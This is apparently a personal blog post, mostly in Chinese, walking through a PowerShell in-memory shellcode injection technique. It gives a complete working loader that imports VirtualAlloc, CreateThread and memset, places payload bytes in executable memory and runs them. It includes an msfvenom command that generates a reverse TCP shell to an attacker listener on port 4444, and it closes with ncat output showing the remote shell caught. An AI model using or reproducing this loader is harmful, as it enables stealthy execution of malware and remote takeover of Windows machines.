PowerShell In-Memory Injection

PowerShell In-Memory Injection Notes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]] $shellcode = "msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f powershell"
# [Byte[]] $shellcode = 0xfc,0x48,0x83,0xe4,...0x41,0x89,0xda,0xff,0xd5

$size = 0x1000;
if ($shellcode.Length -gt 0x1000)
{
$size = $shellcode.Length
};

$x = $winFunc::VirtualAlloc(0, $size, 0x3000, 0x40); # return base address

for ($i = 0; $i -le ($shellcode.Length - 1); $i++)
{
$winFunc::memset([IntPtr]($x.ToInt64() + $i), $shellcode[$i], 1) # Put in buffer
};

$winFunc::CreateThread(0, 0, $x, 0, 0, 0);
for (;;)
{
Start-sleep 60
};

1
2
3
4
5
6
7
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

脚本首先从 kernel32.dll 导入 VirtualAllocCreateThread,以及从 msvcrt.dll 导入 memset

这些函数将允许我们分别分配内存,创建一个执行线程,以及向分配的内存写入任意数据。注意,这里是在当前进程(powerhell.exe)中分配内存和执行一个新线程,而不是远程进程


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[Byte[]];
[Byte[]] $shellcode = "shellcode"
# [Byte[]] $shellcode = 0xfc,0x48,0x83,0xe4,...0x41,0x89,0xda,0xff,0xd5

$size = 0x1000;
if ($shellcode.Length -gt 0x1000)
{
$size = $shellcode.Length
};

$x = $winFunc::VirtualAlloc(0, $size, 0x3000, 0x40); # return base address

for ($i = 0; $i -le ($shellcode.Length - 1); $i++)
{
$winFunc::memset([IntPtr]($x.ToInt64() + $i), $shellcode[$i], 1) # Put in buffer
};

然后,脚本使用 VirtualAlloc 分配一个内存块,获取存储在 $shellcode 字节数组中的每个字节的有效载荷,并使用 memset 将其写入新分配的内存块中


1
2
3
4
5
$winFunc::CreateThread(0, 0, $x, 0, 0, 0);
for (;;)
{
Start-sleep 60
};

作为最后一步,我们在内存中写入的 payload 会在一个单独的线程中使用 CreateThread 执行


1
2
3
4
5
6
7
8
9
10
11
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.0.106.
Ncat: Connection from 192.168.0.106:49889.
Microsoft Windows [Version 10.0.19041.572]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\0x20C>whoami
whoami
desktop-me4u4md\0x20c

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!